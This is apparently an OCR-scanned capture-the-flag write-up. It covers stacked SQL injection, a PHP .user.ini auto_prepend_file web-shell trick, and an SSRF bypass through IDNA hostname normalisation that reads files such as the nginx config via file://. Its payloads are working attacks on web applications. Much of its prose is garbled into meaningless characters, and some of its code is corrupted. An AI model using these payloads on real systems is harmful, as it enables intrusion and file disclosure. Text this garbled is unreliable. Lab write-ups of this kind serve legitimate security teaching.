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1;show databases;
1;show tables;
XA LIEHE 4T, & Ztables NFlag.
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$sql = “select “.$post[‘query’].”|fflag from Flag”;
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1;set sql_mode=pipes_as_concat;select 1
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A M php.inititie:

php.ini&phpBRNKIEC B XXM, HAEETRLZphpHERE, XEEES, XA L : PHP_INLSYSTEM.
PHP_INI_PERDIR. PHP_INLLALL. PHP_INI_USER.
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extension_dir. enable_dI%.
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#define width 20
#define height 10

auto_prepend_file=shell.jpg // tkphp Xt & shel L. jpg
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@app.route('/getUrl', methods=['GET', 'POST'])
():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == ‘suctf.cc':
return "FF your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == ‘'suctf.cc':
return "FF your problem? 222 " + host
newhost = []
for h in host.split('."):
newhost.append(h.encode('idna').decode('utf-8"))
parts[1] = '.'.join(newhost)
#EH url PRI
finalUrl = urlunsplit(parts).split(' ')[@]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:

return "+ your problem? 333"

</code> <!-- Dont worry about the suctf.cc. Go on! -->
<!-- Do you know the nginx? -->
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payload: /getUrl?url=file://suctf.c/.../.../...]...Jetc/nginx/conf.d/nginx.conf

server {
listen 80;
location / {

try_files $uri @app;

}
location @app {
include uwsgi_params;
uwsgi_pass unix:///tmp/uwsgi.sock;
}
location /static {
alias /app/static;

RuwsgifR &L, ERIFEGEEAEMHAFEHNGERE, X TFHPRENEF R, ElusrlocalllF HRXTSERFHE
B, lusrllocal/nginx/conf/inginx.conftd & Nginx#I Ft B SC 4, SO 2.

server {
listen 80;
location / {
try_files $uri @app;
¥
location @app {
include uwsgi_params;
uwsgi_pass unix:///tmp/uwsgi.sock;
¥
location /static {
alias /app/static;

}
# location /flag {

# alias /usr/fffffflag;
il

B 3flagHhit: /usr/ffifflag
BE B ESRflag T .
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